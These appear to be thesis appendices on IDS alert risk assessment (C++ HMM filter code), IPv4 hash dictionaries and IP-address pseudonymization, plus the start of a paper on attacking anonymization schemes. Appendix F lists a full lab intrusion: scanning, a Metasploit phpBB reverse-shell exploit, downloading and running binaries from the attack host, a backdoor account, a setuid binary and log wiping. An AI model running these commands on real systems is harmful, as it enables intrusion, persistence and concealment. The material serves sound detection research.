static vector<double> updateAlpha(int observation,
vector< vector <double> > P,
vector< vector <double> > Q,
vector<double> PI,
vector<double> lastAlpha);
static vector<double> initState(int observation,
vector< vector <double> > Q,
vector<double> PI);
static vector<double> updateState(vector<double> alpha);
static double computeRisk(vector<double> states, vector<double> cost);
private:
static vector<double> scaleAlpha(vector<double> alpha);
};
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// RiskObject represents an asset (a host)
class RiskObject{
private:
vector<double> PI;
vector< vector<double> > P;
vector<double> cost;
vector<double> gamma;
vector<double> alpha;
string objectid;
int objectno;
int simulation_starttime;
int last_alerttime;
void updateState(RiskObservation observation,
RiskSensor sensor,
double[][1016]); // Lincoln Labs specific
int MAXQUEUE;
bool init;
bool DEB;
public:
RiskObject(){};
RiskObject(vector<vector <double> > inP,
vector<double> inPI, vector<double> inCost);
RiskObject(vector<vector <double> > inP,
vector<double> inPI, vector<double> inCost,
string inObjectid);
RiskObject(vector<vector <double> > inP,
vector<double> inPI, vector<double> inCost,
string inObjectid, int simulation_starttime);
RiskObject(vector<vector <double> > inP,
vector<double> inPI, vector<double> inCost,
string inObjectid, int objectno,
int simulation_starttime);
void setPI(vector<double> inPI);
vector <double> getPI();
vector <vector <double> > getP();
void update(RiskObservation observation,
RiskSensor sensor,
double[][1016]); // Lincoln Labs specific variable
double computeRisk();
void printVector(vector<double> v);
string getIP();
void setDEB(){DEB=true;}
};
// A STAT filter for risk assessment
class RiskFilter : public IDMEFFilter {
private:
double riskStatistics[12000][1016]; // Lincoln Labs specific
int lastalerttime;
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int STARTTIME;
bool DEB;
int UNKNOWN_IMPACT;
int COMPROMIZE_IMPACT;
int SCAN_IMPACT;
int HIDS_IMPACT;
int OUTBOUND_IMPACT;
int NO_ALERT;
int LOCKE;
int PASCAL;
int MILL;
int HOSTS;
int TIMESPAN;
int alertpri[10];
RiskObject riskObjects[1016]; // Lincoln Labs specific
RiskSensor riskSensors[6];
RiskObservation riskObservation;
RiskObject initMill(int,int);
RiskObject initPascal(int,int);
RiskObject initLocke(int,int);
RiskObject initGenericHost(int, string, int);
RiskSensor initNIDS();
RiskSensor initMillSensor();
double max(double x, double y);
public:
RiskFilter(const vector<string>& args);
virtual ~RiskFilter();
virtual bool process(IDMEF_Message *a);
virtual STATExtType* clone();
void setRisk(int,int,double);
void setDEB(){DEB=true;}
string itos(int i);
};
#endif
C.2 IDMEF risk.cpp
/*
* IDMEF_risk.cpp
* Implements real-time risk assessment as a STAT module.
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* Input: IDMEF alerts
* Output: Prioritized IDMEF alerts
*/
#include "idmeflib/IDMEF_risk.hpp"
#include "idmeflib/IDMEF_functions.hpp"
#include "idmeflib/IDMEF_helpers.hpp"
#include "STAT/stat_scenario.h"
#include "sys/time.h"
extern struct stat_core* core_hack;
// A RiskObservation represents a sensor observation (alert)
RiskObservation::RiskObservation(){
state=0;
}
RiskObservation::RiskObservation(int inState){
state=inState;
}
RiskObservation::RiskObservation(int inState, int inTime){
state=inState;
time=inTime;
}
int RiskObservation::getValue(){
return state;}
int RiskObservation::getTime(){
return time;}
// A RiskSensor represents a sensor (IDS sensor)
RiskSensor::RiskSensor(vector <vector <double> > inQ){
Q=inQ;
}
RiskSensor::RiskSensor(vector <vector <double> > inQ,
char* inSensorid){
Q=inQ;
sensorid=inSensorid;
}
vector<vector <double> > RiskSensor::getQ(){
return Q;
}
/*
* HMMlib contains the computational logic for performing
* the state estimation. computeInitAlpha computes the
* first forward variable.
*/
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vector<double> HMMlib::computeInitAlpha(int observation,
vector< vector <double> > Q,
vector<double> PI){
vector<double> alpha;
for(int i=0; i<PI.size();i++){
alpha.push_back(Q[i][observation]*PI[i]);
}
return scaleAlpha(alpha);
}
/*
* updateAlpha updates the forward variable
*/
vector<double> HMMlib::updateAlpha(int observation,
vector< vector <double> > P,
vector< vector <double> > Q,
vector<double> PI,
vector<double> lastAlpha){
vector<double> alpha;
double tmp;
for(int i=0; i<PI.size();i++){
tmp=0;
for(int j=0; j<PI.size();j++){
tmp+=lastAlpha[j]*P[j][i];
}
alpha.push_back(Q[i][observation]*tmp);
}
return scaleAlpha(alpha);
}
/*
* initState computes the first state estimate
*/
vector<double> HMMlib::initState(int observation,
vector< vector <double> > Q,
vector<double> PI){
if(observation > Q[0].size()){
exit(1);
}
vector<double> gamma;
double tmp;
for(int i=0; i<PI.size();i++){
tmp=0;
for(int j=0; j<PI.size();j++){
tmp+=Q[j][observation]*PI[j];}
gamma.push_back((Q[i][observation]*PI[i])/tmp);
}
return gamma;
}
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/*
* updateState updates the state estimate
*/
vector<double> HMMlib::updateState(vector<double> alpha){
vector<double> gamma;
double tmp;
for(int i=0; i<alpha.size();i++){
tmp=0;
for(int j=0; j<alpha.size();j++){
tmp+=alpha[j];}
gamma.push_back(alpha[i]/tmp);
}
return gamma;
}
/*
* computeRisk compues the risk of an asset based on
* its estimated state distribution and its cost vector.
*/
double HMMlib::computeRisk(vector<double> states, vector<double> cost){
double risk=0;
for(int i=0; i<states.size();i++){
risk+=states[i]*cost[i];
}
return risk;
}
/*
* scaleAlpha scales the forward variable to ensure
* that it the compuations are within the precision range
* of the computer.
*/
vector<double> HMMlib::scaleAlpha(vector<double> alpha){
double tmp=0;
vector<double> newAlpha;
for(int i=0; i<alpha.size();i++){tmp+=alpha[i];}
for(int i=0; i<alpha.size();i++){newAlpha.push_back(alpha[i]/tmp);}
return newAlpha;
}
/*
* A risk object represents a host in the prototype.
*/
RiskObject::RiskObject(vector<vector <double> > inP,
vector<double> inPI,
vector<double> inCost){
init=false;
P=inP;
PI=inPI;
cost=inCost;
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DEB = false;
return;
}
RiskObject::RiskObject(vector<vector <double> > inP,
vector<double> inPI,
vector<double> inCost,
string inObjectid){
init=false;
P=inP;
PI=inPI;
cost=inCost;
objectid=inObjectid;
DEB = false;
return;
}
RiskObject::RiskObject(vector<vector <double> > inP,
vector<double> inPI,
vector<double> inCost,
string inObjectid,
int inSimulation_starttime){
init=false;
P=inP;
PI=inPI;
cost=inCost;
objectid=inObjectid;
simulation_starttime=inSimulation_starttime;
last_alerttime = simulation_starttime;
DEB = false;
return;
}
RiskObject::RiskObject(vector<vector <double> > inP,
vector<double> inPI,
vector<double> inCost,
string inObjectid,
int no, int inSimulation_starttime){
init=false;
P=inP;
PI=inPI;
cost=inCost;
objectid=inObjectid;
objectno=no;
simulation_starttime=inSimulation_starttime;
last_alerttime = simulation_starttime;
DEB = false;
return;
}
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void RiskObject::setPI(vector<double> inPI){PI = inPI;}
vector <double> RiskObject::getPI(){return PI;}
vector <vector <double> > RiskObject::getP(){return P;}
/*
* update triggers state estimation and risk assessment
* computation based on an observation (IDS alert).
* update calls updateState to perform the actual computations.
*/
void RiskObject::update(RiskObservation observation,
RiskSensor sensor,
double riskStatistics[][1016]){
int tmpObs = observation.getValue();
// The maximum alert queue in the prototype is 60 alerts
MAXQUEUE = 60;
// Process alert for next time step
if( observation.getTime() == last_alerttime+1 ){
updateState(observation, sensor, riskStatistics);
return;
}
// If there is a time gap between previous and current observation
else if( observation.getTime() > last_alerttime+1 ){
for(int i = last_alerttime+1; i < observation.getTime(); i++){
updateState(RiskObservation(5,(i)), sensor, riskStatistics);
}
updateState(observation, sensor, riskStatistics);
return;
}
// Ignore message in the past or there are several concurrent alerts
// when greater than MAXQUEUE
else if(observation.getTime() + MAXQUEUE < last_alerttime+1 ){
return;
}
// Ignore null messages in the past or concurrent null msgs
else if(observation.getValue()==5){
return;
}
else{
observation.incTime();
update(observation,sensor, riskStatistics);
return;
}
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}
/*
* updateState updates the security state estimate
* of the host.
*/
void RiskObject::updateState(RiskObservation observation,
RiskSensor sensor,
double riskStatistics[][1016]){
int tmpObs = observation.getValue();
vector< vector <double> > tmpQ = sensor.getQ();
if (!init){
alpha = HMMlib::computeInitAlpha(tmpObs, tmpQ, PI);
gamma = HMMlib::initState(tmpObs,tmpQ, PI);
init = true;
}
else{
alpha = HMMlib::updateAlpha(tmpObs,P, tmpQ, PI, alpha);
gamma = HMMlib::updateState(alpha);
}
riskStatistics[observation.getTime()-952438856][objectno] =
computeRisk();
last_alerttime = observation.getTime();
}
/*
* computeRIsk triggers a risk computation for the host
*/
double RiskObject::computeRisk(){
double tmp=0;
for (int i=0; i<gamma.size(); i++){
tmp+=gamma.at(i)*cost.at(i);
}
return tmp;
}
void RiskObject::printVector(vector<double> v){ // for debugging only
for(int i=0; i<v.size();i++){
cout << " " << v.at(i);
}
}
string RiskObject::getIP(){
return objectid;
}
/*
* RiskFilter implements a filter in STAT. The constructor
* configures the filter with the necessary model variables
* for the experiment setup.
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*/
RiskFilter::RiskFilter(const vector<string>& args){
// Lincoln Labs data set specific variables
LOCKE = 10 - 1;
PASCAL = 50 - 1;
MILL = 782 - 1;
int simulation_starttime = 952438856;
string hosts[1016];
string networks[4] = {"172.16.112.",
"172.16.113.",
"172.16.114.",
"172.16.115."};
string nw = "172.16.112.";
lastalerttime = simulation_starttime;
// Observation type classification for HMMs
UNKNOWN_IMPACT=0;
COMPROMIZE_IMPACT=1;
SCAN_IMPACT=2;
HIDS_IMPACT=3;
OUTBOUND_IMPACT=4;
NO_ALERT=5;
for (int i = 0; i < 4; i++){
for (int j = 1; j<254; j++) {
hosts[i*254 + j - 1] = networks[i] + itos(j);
}
}
// Example risk object
// Q - observation probability matrix
// \ observation probability
// s|-----------------------
// t|
// a|
// t|
// e|
// Host initialization
for (int i = 0; i < 1016; i ++ ){
if(i == MILL){
riskObjects[i] = initMill(simulation_starttime,i);
}
else if(i == LOCKE){
riskObjects[i] = initLocke(simulation_starttime,i);
}
else if(i == PASCAL){
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riskObjects[i] = initPascal(simulation_starttime,i);
}
else{
riskObjects[i] = initGenericHost(simulation_starttime,hosts[i],i);
}
}
// Sensor initialization
riskSensors[0] = initNIDS();
riskSensors[1] = initMillSensor();
}
/*
* The destructor updates risk for all assets, prints
* the results to file, and outputs the results of the
* prioritization to the terminal.
*/
RiskFilter::~RiskFilter(){
RiskObservation endobservation = RiskObservation(NO_ALERT,
lastalerttime+1);
int tmpsensor = 0;
// Update risk for all hosts at the end of the data set
for (int i = 0; i < 1016; i ++ ){
if((i == MILL) || (i == PASCAL)){ // Mill, Pascal
tmpsensor = 1;
}
else{
tmpsensor = 0;
}
riskObjects[i].update(endobservation,
riskSensors[tmpsensor],
riskStatistics);
}
// Write to file
double tmprisk;
ofstream myfile;
myfile.open("results.csv");
for(int i=0;i<11836;i++){
tmprisk=0;
for(int j=0;j<1016;j++){
tmprisk+=riskStatistics[i][j];
}
myfile << i << "\t" << tmprisk << "\t" << tmprisk / 1016;
for(int j=0;j<1016;j++){
myfile << "\t" << riskStatistics[i][j];
}
myfile << endl;
}
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myfile.close();
// Write prioritization results to stdout
cout << "Alert priorization results: ";
for(int i=0; i<10; i++){
cout << "\t" << alertpri[i];
}
cout << endl;
exit(1);
}
/*
* Process an IDMEF message
*/
bool RiskFilter::process(IDMEF_Message *a) {
struct timeval time;
int unixtime;
double pri = 0;
if ((!a->hasAttribute("alert->source->node->address->address")) ||
(!a->hasAttribute("alert->target->node->address->address"))){
// RiskFilter::Process -- no source || target adr.
exit(1);
}
char* target_ip;
if (a->alert->target->hasAddress())
{target_ip = a->alert->target->node->address->address;}
else{
target_ip = strdup("0.0.0.0");
};
char* source_ip;
if (a->alert->source->hasAddress())
{source_ip = a->alert->source->node->address->address;}
else {
source_ip = strdup("0.0.0.0");
}
char* sensor_id = a->alert->analyzer->analyzerid;
// We only consider one of the Snort sensors
if(sensor_id == "snort:dmz"){
cout << "Snort:dmz not considered." << endl;
return true;
}
CreateTime* createtime = a->alert->createtime;
createtime->getTime(&time);
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unixtime=time.tv_sec;
lastalerttime=unixtime;
Alert::Type* impact = a->alert->impact;
int alert_impact = *impact;
int observation;;
UNKNOWN_IMPACT=0;
COMPROMIZE_IMPACT=1;
SCAN_IMPACT=2;
HIDS_IMPACT=3;
OUTBOUND_IMPACT=4;
NO_ALERT=5;
// Set observation type based on alert classification
if((string) sensor_id == "ustat:mill" ||
(string) sensor_id == "ustat:pascal"){
observation=HIDS_IMPACT;}
else if(alert_impact == 0){
observation=UNKNOWN_IMPACT;}
else if(alert_impact == 4){
observation=COMPROMIZE_IMPACT;}
else if(alert_impact == 8){
observation=SCAN_IMPACT;}
else if(alert_impact == 6){
observation=OUTBOUND_IMPACT;}
else{
cout << "Error -- Unknown alert impact : " << alert_impact << endl;
exit(1);
}
// HIDS
if(!strncmp(sensor_id, "ustat:", 6)){
if((string) target_ip == "mill" || (string) source_ip == "mill"){
riskObservation = RiskObservation(observation,unixtime);
riskObjects[MILL].update(riskObservation,
riskSensors[1], riskStatistics);
pri = max(pri,riskObjects[MILL].computeRisk());
}
else if((string) target_ip == "pascal" ||
(string) source_ip == "mill"){
riskObservation = RiskObservation(observation,unixtime);
riskObjects[PASCAL].update(riskObservation,
riskSensors[1], riskStatistics);
pri = max(pri,riskObjects[PASCAL].computeRisk());
}
else{
if(DEB){cout << "HIDS without match, target: " <<
target_ip << ", source: " << source_ip << endl;}
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}
}
else{ // NIDS
for( int i = 0 ; i < 1016 ; i++){
if(riskObjects[i].getIP() == (string) target_ip){
// INBOUND NIDS
riskObservation = RiskObservation(observation,unixtime);
if(((string) target_ip == "172.16.115.20") ||
((string) target_ip == "172.16.112.50")){
riskObjects[i].update(riskObservation, riskSensors[1],
riskStatistics);
pri = max(pri,riskObjects[i].computeRisk());
}
else{
riskObjects[i].update(riskObservation, riskSensors[0],
riskStatistics);
pri = max(pri,riskObjects[i].computeRisk());
}
}
if(riskObjects[i].getIP() == (string) source_ip){
// OUTBOUND NIDS
riskObservation = RiskObservation(OUTBOUND_IMPACT,unixtime);
if(((string) source_ip == "172.16.115.20") ||
((string) source_ip == "172.16.112.50")){
riskObjects[i].update(riskObservation, riskSensors[1],
riskStatistics);
pri = max(pri,riskObjects[i].computeRisk());
}
else{
riskObjects[i].update(riskObservation, riskSensors[0],
riskStatistics);
pri = max(pri,riskObjects[i].computeRisk());
}
}
}
}
// Set priority according to the risk of the involved hosts
if(pri<10){
alertpri[0]++;}
else if(pri<20){
alertpri[0]++;}
else if(pri<30){
alertpri[1]++;}
else if(pri<40){
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alertpri[1]++;}
else if(pri<50){
alertpri[2]++;}
else if(pri<60){
alertpri[2]++;}
else if(pri<70){
alertpri[3]++;}
else if(pri<80){
alertpri[3]++;}
else if(pri<90){
alertpri[4]++;}
else{
alertpri[4]++;}
return true;
}
/*
* Initialize the HMM and risk model host Mill
*/
RiskObject RiskFilter::initMill(int simStarttime, int no){
double p1[] = {0.992995,0.004,0.003,0.000005}; // G
double p2[] = {0.004, 0.991995, 0.004, 0.000005}; // P
double p3[] = {0.003, 0.004, 0.992995, 0.000005}; // A
double p4[] = {0.0000000000000000000000000000000001,
0.0000000000000000000000000000000001,
0.0000000000000000000000000000000001,
0.9999999999999999999999999999999997}; // C
vector<double> tmp1(p1, p1+4);
vector<double> tmp2(p2, p2+4);
vector<double> tmp3(p3, p3+4);
vector<double> tmp4(p4, p4+4);
vector<vector <double> > P;
P.push_back(tmp1);
P.push_back(tmp2);
P.push_back(tmp3);
P.push_back(tmp4);
double pi[] = {1,0,0,0};
vector<double> PI(pi, pi+4);
double cost[] = {0,25,50,100};
vector<double> COST(cost, cost+4);
return RiskObject(P,PI, COST, "172.16.115.20", no, simStarttime);
}
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/*
* Initialize the HMM and risk model host Pascal
*/
RiskObject RiskFilter::initPascal(int simStarttime, int no){
double p1[] = {0.992995,0.004,0.003,0.000005}; // G
double p2[] = {0.004, 0.991995, 0.004, 0.000005}; // P
double p3[] = {0.003, 0.004, 0.992995, 0.000005}; // A
double p4[] = {0.0000000000000000000000000000000001,
0.0000000000000000000000000000000001,
0.0000000000000000000000000000000001,
0.9999999999999999999999999999999997}; // C
vector<double> tmp1(p1, p1+4);
vector<double> tmp2(p2, p2+4);
vector<double> tmp3(p3, p3+4);
vector<double> tmp4(p4, p4+4);
vector<vector <double> > P;
P.push_back(tmp1);
P.push_back(tmp2);
P.push_back(tmp3);
P.push_back(tmp4);
double pi[] = {1,0,0,0};
vector<double> PI(pi, pi+4);
double cost[] = {0,25,50,100};
vector<double> COST(cost, cost+4);
return RiskObject(P,PI, COST, "172.16.112.50", no, simStarttime);
}
/*
* Initialize the HMM and risk model host Locke
*/
RiskObject RiskFilter::initLocke(int simStarttime, int no){
double p1[] = {0.992995,0.004,0.003,0.000005}; // G
double p2[] = {0.004, 0.991995, 0.004, 0.000005}; // P
double p3[] = {0.003, 0.004, 0.992995, 0.000005}; // A
double p4[] = {0.0000000000000000000000000000000001,
0.0000000000000000000000000000000001,
0.0000000000000000000000000000000001,
0.9999999999999999999999999999999997}; // C
vector<double> tmp1(p1, p1+4);
vector<double> tmp2(p2, p2+4);
vector<double> tmp3(p3, p3+4);
vector<double> tmp4(p4, p4+4);
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vector<vector <double> > P;
P.push_back(tmp1);
P.push_back(tmp2);
P.push_back(tmp3);
P.push_back(tmp4);
double pi[] = {1,0,0,0};
vector<double> PI(pi, pi+4);
double cost[] = {0,25,50,100};
vector<double> COST(cost, cost+4);
return RiskObject(P,PI, COST, "172.16.112.10", no, simStarttime);
}
/*
* Initialize the HMM and risk model the remaining hosts
*/
RiskObject RiskFilter::initGenericHost(int simStarttime, string id, int no){
double p1[] = {0.992995,0.004,0.003,0.000005}; // G
double p2[] = {0.004, 0.991995, 0.004, 0.000005}; // P
double p3[] = {0.003, 0.004, 0.992995, 0.000005}; // A
double p4[] = {0.0000000000000000000000000000000001,
0.0000000000000000000000000000000001,
0.0000000000000000000000000000000001,
0.9999999999999999999999999999999997}; // C
vector<double> tmp4(p1, p1+4);
vector<double> tmp5(p2, p2+4);
vector<double> tmp6(p3, p3+4);
vector<double> tmp7(p4, p3+4);
vector<vector <double> > P;
P.push_back(tmp4);
P.push_back(tmp5);
P.push_back(tmp6);
P.push_back(tmp7);
double pi[] = {1,0,0,0};
vector<double> PI(pi, pi+4);
double cost[] = {0,25,50,100};
vector<double> COST(cost, cost+4);
return RiskObject(P,PI, COST, id, no, simStarttime);
}
/*
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* Initialize the sensor for the hosts with both NIDS
* and HIDS sensors, i.e., Mill and Pascal.
*/
RiskSensor RiskFilter::initMillSensor(){
double q1[] = {0.05,0.0001,0.02,0.01,0.02,0.8999}; //G
vector<double> tmp1(q1, q1+6);
double q2[] = {0.05,0.0001,0.25,0.01,0.02,0.6699};
vector<double> tmp2(q2, q2+6); //M
double q3[] = {0.1,0.005,0.1,0.03,0.03,0.735};
vector<double> tmp3(q3, q3+6); //A
double q4[] = {0.02,0.05,0.04,0.04,0.05,0.80};
vector<double> tmp4(q4, q4+6); //C
vector<vector <double> > Q;
Q.push_back(tmp1);
Q.push_back(tmp2);
Q.push_back(tmp3);
Q.push_back(tmp4);
return RiskSensor(Q, "MillSensor");
}
/*
* Initialize the sensor for the hosts with only NIDS
* sensors and no HIDS sensor.
*/
RiskSensor RiskFilter::initNIDS(){
double q1[] = {0.05,0.0001,0.02,0,0.02,0.9099}; //G
vector<double> tmp1(q1, q1+6);
double q2[] = {0.05,0.0001,0.25,0,0.02,0.6799};
vector<double> tmp2(q2, q2+6); //M
double q3[] = {0.1,0.005,0.1,0,0.03,0.765};
vector<double> tmp3(q3, q3+6); //A
double q4[] = {0.02,0.05,0.04,0,0.05,0.84};
vector<double> tmp4(q4, q4+6); //C
vector<vector <double> > Q;
Q.push_back(tmp1);
Q.push_back(tmp2);
Q.push_back(tmp3);
Q.push_back(tmp4);
return RiskSensor(Q, "NIDS");
}
string RiskFilter::itos(int i) // convert int to string
{
stringstream s;
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s << i;
return s.str();
}
double RiskFilter::max(double x, double y)
{
if (x >= y)
{
return x;
}
return y;
}
STATExtType* RiskFilter::clone() {return new RiskFilter(*this);}
void RiskFilter::setRisk(int time,int asset,double risk){
riskStatistics[time][asset] = risk;
}
Appendix D
Hash Database Computations
This appendix contains the script used to compute a hash table for all IP addresses
in the IPv4 address space. Note that the hash table file would require 16TB of
storage. For this reason, the hash table was written to /dev/null for the purpose
of time measurements.
D.1 Generating a MD5 Dictionary
The following script computes an exhaustive MD5 dictionary for the IPv4 address
space.
use Digest::MD5 qw(md5_hex); # MD5 for Perl
open(FILEWRITE, "> ./iphashdb_md5.txt");
$startip=0x0000;
$endip=0xFFFFFFFF;
for ( $ip=$startip;$ip<$endip;$ip++ ){
# Use substr to limit each entry to 32 bits.
print FILEWRITE (substr(md5_hex($ip),24,31));
}
close FILEWRITE;
203
204 D.2. GENERATING A SHA-1 DICTIONARY
D.2 Generating a SHA-1 Dictionary
The following script computes an exhaustive SHA1 dictionary for the IPv4 address space.
use Digest::SHA1 qw(sha1_hex); # SHA1 for Perl
open(FILEWRITE, "> ./iphashdb_sha1.txt");
$startip=0x0000;
$endip=0xFFFFFFFF;
for ( $ip=$startip;$ip<$endip;$ip++ ){
# Use substr to limit each entry to 32 bits.
print FILEWRITE (substr(sha1_hex($ip),24,31),"\n");
}
close FILEWRITE;
Appendix E
Pseudonymization Algorithms
This section contains a more precise description of the pseudocode algorithms pre-
sented in the main body of this thesis.
Algorithm E.1 constructs a binary search tree for a selected list of IP addresses.
Algorithm E.2 takes a binary search tree and assigns weights to each node such
that left descendants always have less weight than right descendants.
Algorithm E.3 takes occurrence probabilites for IP addresses, and extracts a sort
of “decryption” key for addresses protected with prefix-preserving anonymization
techniques.
Algorithm E.4 employs a permutation of bits to increase the cost of deducing ad-
dress bits from addresses pseudonymized with prefix-preserving pseudonymization.
Algorithm E.5 employs strong encryption in conjunction with a concatena-
tion scheme to both increase the effective plaintext space, and strengthen prefix-
preserving pseudonymization.
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Algorithm E.6 employs a concatenation scheme that increases the effective
plaintext space. This increases the time complexity of birthday attacks by a factor
of approximately 2(n−1)/2, where n is the address length in bits.
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Algorithm E.1 build-tree
IN: (n, k, {Ii}ki=1, b, a) {n address length in bits, k number of targeted addresses,
{Ii}ki=1 indexed list of addresses, b bit depth, a pointer to ancestor node}
OUT: r pointer to local root node of the constructed binary tree
if b = 1 then
∗t.a←NULL
end if
i0 ← 0
i1 ← 0
h(0, )← () {h is a local two-dimensional array}
h(1, )← () {Before using h, it must be emptied}
if b < n then
i← 0
while i0+i1 < k do
f ←bit number b in li
if f = 0 then
i0 ← i0 + 1
else
i1 ← i1 + 1
end if
h(f, if )← Iif
end while
∗t.d0 ← build-tree(n, i0, {h(0, i)}i0i=1, b+ 1, t)
∗t.d1 ← build-tree(n, i1, {h(1, i)}i1i=1, b+ 1, t)
else if b = n then
∗t.d0 ←NULL
∗t.d1 ←NULL
weight← 1
end if
return t
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Algorithm E.2 build-weights
IN: (t, δ) {t pointer to a node in a tree built with build-tree, δ weight adjustment}
OUT: ∗t.w
if ∗t.d0 =NULL and ∗t.d1 =NULL then
∗t.w ← ∗t.w + δ
else if ∗t.d0 =NULL and ∗t.d1 6=NULL then
∗t.w ← build-weights(∗t.d1, δ)
else if ∗t.d0 6=NULL and ∗t.d1 =NULL then
∗t.w ← build-weights(∗t.d0, δ)
else
left← build-weights(∗t.d0, 0)
right← build-weights(∗t.d1, δ)
if left=right then
right← build-weights(∗t.d1, 1)
end if
∗t.w ←left+right
end if
return ∗t.w
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Algorithm E.3 frequency-analysis
IN: (n, {pη}η∈{0,1}n , {νi}2mi=1, ω) {n address length in bits, 32 for IPv4, 128 for IPv6,
pη the relative frequency at which a prefix η occurs in the traffic, {νi}2mi=1 IP
addresses encrypted with prefix-preserving pseudonymization taken from a mea-
surement set consisting of m packets with in all 2m addresses, ω the address
whose traffic data is of interest}
OUT: κ {a “decryption key” for the encrypted representation of ω}
α← λ
κ← λ
i← 0
while i < n do
i← i+ 1
m0 ← 0
m1 ← 0
j ← 0
while j < 2m do
if α⊕ κ is a prefix of νj then
k ← bit number i from the address
mk ← mk + 1
end if
end while
q0 ← (pα0|α −m0/(m0 +m1))2
q′0 ← (pα0|α −m1/(m0 +m1))2
if q0 < q
′
0 then
κ← κ0
else
κ← κ1
end if
append bit i of ω to α
end while
return κ
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Algorithm E.4 hardened-pseudonymization-1
IN: (n, a, b, g, F ) {n address length in bits, a, b source and destination addresses,
respectively, g a permutation function {1, . . . , 2n} −→ {1, . . . , 2n}, F a prefix-
preserving pseudonymization function}
OUT: a′,b′ {t}wo n-bit blocks replacing the plaintext addresses a and b, respec-
tively
if a lexicographically precedes b then
apply F to a to get ca
apply F to b to get cb
s← 0
else
apply F to a to get cb
apply F to b to get ca
s← 1
end if
c← cacb
r ← cg(1) · · · cg(2n)
a′ ← first n bits of r
b′ ← last n bits of r
return a′, b′, s
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Algorithm E.5 hardened-pseudonymization-2
IN: (n, a, b, l, {wi}li=1, ek, F ) {n address length in bits, a, b source and destination
addresses, respectively, l number of sub-blocks, {wi}li=1 sub-block lengths such
that
∑l
i=1 wi = n, ek keyed block encryption function that encrypts k-bit blocks,
F a prefix-preserving pseudonymization function}
OUT: a′,b′,s {two n-bit blocks replacing the plaintext addresses a and b, and one
bit s indicating whether a lexicographically precedes b or not}
if a lexicographically precedes b then
apply prefix-preserving pseudonymization F to a to get c
apply prefix-preserving pseudonymization F to b to get d
s← 0
else
apply prefix-preserving pseudonymization F to a to get d
apply prefix-preserving pseudonymization F to b to get c
end if
i← l
p← n
while i > 0 do
p← p− wi
ri ← en−p(cp+1 · · · cp+widp+1 · · · dp+wiri+1 · · · rl)
i← i− 1
end while
a′ ← first n bits of r
b′ ← last n bits of r
return a′, b′, s
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Algorithm E.6 block-anonymization
IN: (n, a, b, f) {n address length in bits, 32 for IPv4, 128 for IPv6, a, b source
and destination addresses, respectively, f cryptographically strong hash func-
tion generating output at least 2n bits long, or keyed encryption function with
blocklength 2n}
OUT: a′,b′,s {two n-bit blocks replacing the plaintext addresses a and b, and one
bit s indicating whether a lexicographically precedes b or not.}
if a lexicographically precedes b then
c← ab
s← 0
else
c← ba
s← 1
end if
r ← last 2n bits of f(c)
a′ ← first n bits of r
b′ ← last n bits of r
return a′, b′, s
Appendix F
Attack Details for Multistep
Attack
This appendix contains the specific commands used in the multi-step attack. The
ViSe IP addresses are 128.111.48.125 (detector), 128.111.48.131 (attack host), and
128.111.48.118 (vulnerable host).
Event 1
nmap -sP 128.111.48.1-255 > ping
cat ping
nmap 128.111.48.118 > 118
cat 118
links 128.111.48.118/phpBB2/
Event 2
./msfconsole
>show exploits
>use phpbb_highlight
>show
>show targets
>set TARGET 0
>show payloads
>set PAYLOAD cmd_unix_reverse
>show options
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>set RHOST 128.111.48.118
>set PHPBB_ROOT /phpBB2
>set LHOST 128.111.48.131
>check
>exploit
Event 3
id
cd /tmp; wget 128.111.48.131/httpd
chmod 700 ./httpd
./httpd
quit
Event 4
nc 128.111.48.118 12497 -vv
find / -user root -perm -4000 -print 2> /dev/null >progs
cat progs
/sbin/iwconfig -v
wget 128.111.48.131/iwconfig
chmod 700 iwconfig
/iwconfig
whoami
Event 5
/usr/sbin/adduser bash
passwd bash
wget 128.111.48.131/]
chmod 4755 ]
mv ] /usr/bin
Event 6
ssh bash@128.111.48.118
/usr/bin/]
ps -ef | grep apache
kill <pid> #kill backdoors pids
rm -rf /tmp/*
rm -rf /var/log/*
Appendix G
PET 2005 Paper
This appendix contains a copy of the paper “Anonymization of IP Traffic Moni-
toring Data: Attacks on Two Prefix-Preserving Anonymization Schemes and Some
Proposed Remedies” by Tønnes Brekne, Andre´ A˚rnes, and Arne Øslebø [A22]. The
paper was presented at the Workshop in Privacy Enhancing Technologies (PET) in
Cavtat, Croatia, 2005, and it was printed in Springer LNCS 3856.
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and Some Proposed Remedies
Tønnes Brekne1, Andre´ A˚rnes1, and Arne Øslebø2
1 Centre for Quantifiable Quality of Service in Communication Systems?
Norwegian University of Science and Technology
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Abstract. In our search for anonymization solutions for passive mea-
surement data in the context of the LOBSTER passive network mon-
itoring project, we discovered attacks against two initially promising
candidates for IP address anonymization. We present a suite of three
algorithms employing packet injection and frequency analysis, which
can compromise individual addresses protected with prefix-preserving
anonymization in multilinear time. We present two algorithms to counter
our attacks. These methods support gradual release of topological infor-
mation, as required by some applications. We also introduce an algorithm
that strengthens some hash-based anonymization methods.
1 Introduction
This paper presents three attacks we devised while examining some candi-
date solutions for anonymization of passive monitoring data in the context
of the LOBSTER1 and SCAMPI2 projects. We suggest improvements on
these schemes in order to provide satisfactory anonymization. We also
show how hash-based anonymization of IP-addresses for particular types
of traffic can be strengthened. Unless otherwise is stated, discussion of
anonymization is done in the specific context of anonymizing IP addresses
in IP packet headers.
? The “Centre for Quantifiable Quality of Service in Communication Systems, Centre
of Excellence” is appointed by The Research Council of Norway, and funded by the
Research Council, NTNU and UNINETT.
1 LOBSTER is a pilot European Infrastructure for large-scale monitoring of broad-
band Internet infrastructure, see http://www.ist-lobster.org/.
2 SCAMPI is a EU project for creating a scalable and programmable monitoring
platform for the Internet, see http://www.ist-scampi.org/.
Passive measurement of communications networks bases itself on col-
lecting real traffic data. Since collected data can reveal information about
corporate or personal habits, it should be anonymized as far as possible.
Effective anonymization, however, tends to render information on net-
work structures unusable for analysis applications. Thus there is a case
for providing configurable anonymization, where a minimum of necessary
structural information is preserved, and the data otherwise are anonym-
ized as far as possible.
An overview of available anonymization tools for IP traffic monitoring
data is given in appendix B.
1.1 Anonymity Requirements
The anonymization requirements imposed by LOBSTER were our ini-
tial motivation for examining prefix-preserving anonymization. In order
to support sharing of monitoring data, the data must be sanitized so
that private and sensitive data are removed or anonymized. The scheme
should provide sender and receiver untraceability so that unauthorized ex-
traction of identifying data is impossible. To enable network operations
and research, we wish to preserve network topology information. For this
purpose, observations should be linkable, so that it is possible to correlate
observations.
Some applications demand accountability, which implies that anonymiza-
tion must be reversible3, by allowing reidentification of anonymized data
by authorized parties. Police investigations and abuse handling exemplify
such applications. Reversibility can be provided by pseudonymization pro-
vided pseudonymization tables or decryption keys are available.
